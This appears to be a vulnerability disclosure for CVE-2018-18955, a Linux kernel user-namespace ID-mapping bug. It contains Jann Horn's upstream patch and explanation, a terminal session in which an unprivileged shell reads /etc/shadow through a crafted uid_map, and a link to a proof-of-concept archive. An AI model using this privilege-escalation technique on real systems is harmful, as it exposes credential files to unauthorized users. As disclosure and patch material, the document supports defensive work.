-rw-r----- 1 nobody nogroup 1519 Jul 4 16:11 /etc/shadow
root@ubuntu-18-04-vm:~/userns_4_15# head -n1 /etc/shadow
head: cannot open '/etc/shadow' for reading: Permission denied
root@ubuntu-18-04-vm:~/userns_4_15# ./subshell
nobody@ubuntu-18-04-vm:~/userns_4_15$ id
uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),116(lpadmin),126(sambashare)
nobody@ubuntu-18-04-vm:~/userns_4_15$ cat /proc/self/uid_map
0 0 1
1 1 1
2 2 1
3 3 1
4 4 1
5 5 995
nobody@ubuntu-18-04-vm:~/userns_4_15$ ls -l /etc/shadow
-rw-r----- 1 root shadow 1519 Jul 4 16:11 /etc/shadow
nobody@ubuntu-18-04-vm:~/userns_4_15$ head -n1 /etc/shadow
root:!:17696:0:99999:7:::
nobody@ubuntu-18-04-vm:~/userns_4_15$
Here is a suggested patch (copy attached to avoid whitespace issues); does this
look sensible?
==================
From 20598025d5e80f26a0c4306ebeca14b31539bd97 Mon Sep 17 00:00:00 2001
From: Jann Horn <jannh@google.com>
Date: Mon, 5 Nov 2018 20:55:09 +0100
Subject: [PATCH] userns: also map extents in the reverse map to kernel IDs
The current logic first clones the extent array and sorts both copies, then
maps the lower IDs of the forward mapping into the lower namespace, but
doesn't map the lower IDs of the reverse mapping.
This means that code in a nested user namespace with >5 extents will see
incorrect IDs. It also breaks some access checks, like
inode_owner_or_capable() and privileged_wrt_inode_uidgid(), so a process
can incorrectly appear to be capable relative to an inode.
To fix it, we have to make sure that the "lower_first" members of extents
in both arrays are translated; and we have to make sure that the reverse
map is sorted *after* the translation (since otherwise the translation can
break the sorting).
This is CVE-2018-18955.
Fixes: 6397fac4915a ("userns: bump idmap limits to 340")
Cc: stable@vger.kernel.org
Signed-off-by: Jann Horn <jannh@google.com>
---
kernel/user_namespace.c | 12 ++++++++----
1 file changed, 8 insertions(+), 4 deletions(-)
diff --git a/kernel/user_namespace.c b/kernel/user_namespace.c
index e5222b5fb4fe..923414a246e9 100644
--- a/kernel/user_namespace.c
+++ b/kernel/user_namespace.c
@@ -974,10 +974,6 @@ static ssize_t map_write(struct file *file, const char __user *buf,
if (!new_idmap_permitted(file, ns, cap_setid, &new_map))
goto out;
- ret = sort_idmaps(&new_map);
- if (ret < 0)
- goto out;
-
ret = -EPERM;
/* Map the lower ids from the parent user namespace to the
* kernel global id space.
@@ -1004,6 +1000,14 @@ static ssize_t map_write(struct file *file, const char __user *buf,
e->lower_first = lower_first;
}
+ /*
+ * If we want to use binary search for lookup, this clones the extent
+ * array and sorts both copies.
+ */
+ ret = sort_idmaps(&new_map);
+ if (ret < 0)
+ goto out;
+
/* Install the map */
if (new_map.nr_extents <= UID_GID_MAP_MAX_BASE_EXTENTS) {
memcpy(map->extent, new_map.extent,
--
2.19.1.930.g4563a0d9d0-goog
==================
(By the way: map_id_up_max() is probably pretty inefficient, especially when
retpoline mitigations are on, because it uses bsearch(), which is basically a
little bit of logic glue around indirect function calls. If you care about
speed, you might want to add an inline variant of bsearch() for places like
this.)
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/45886.zip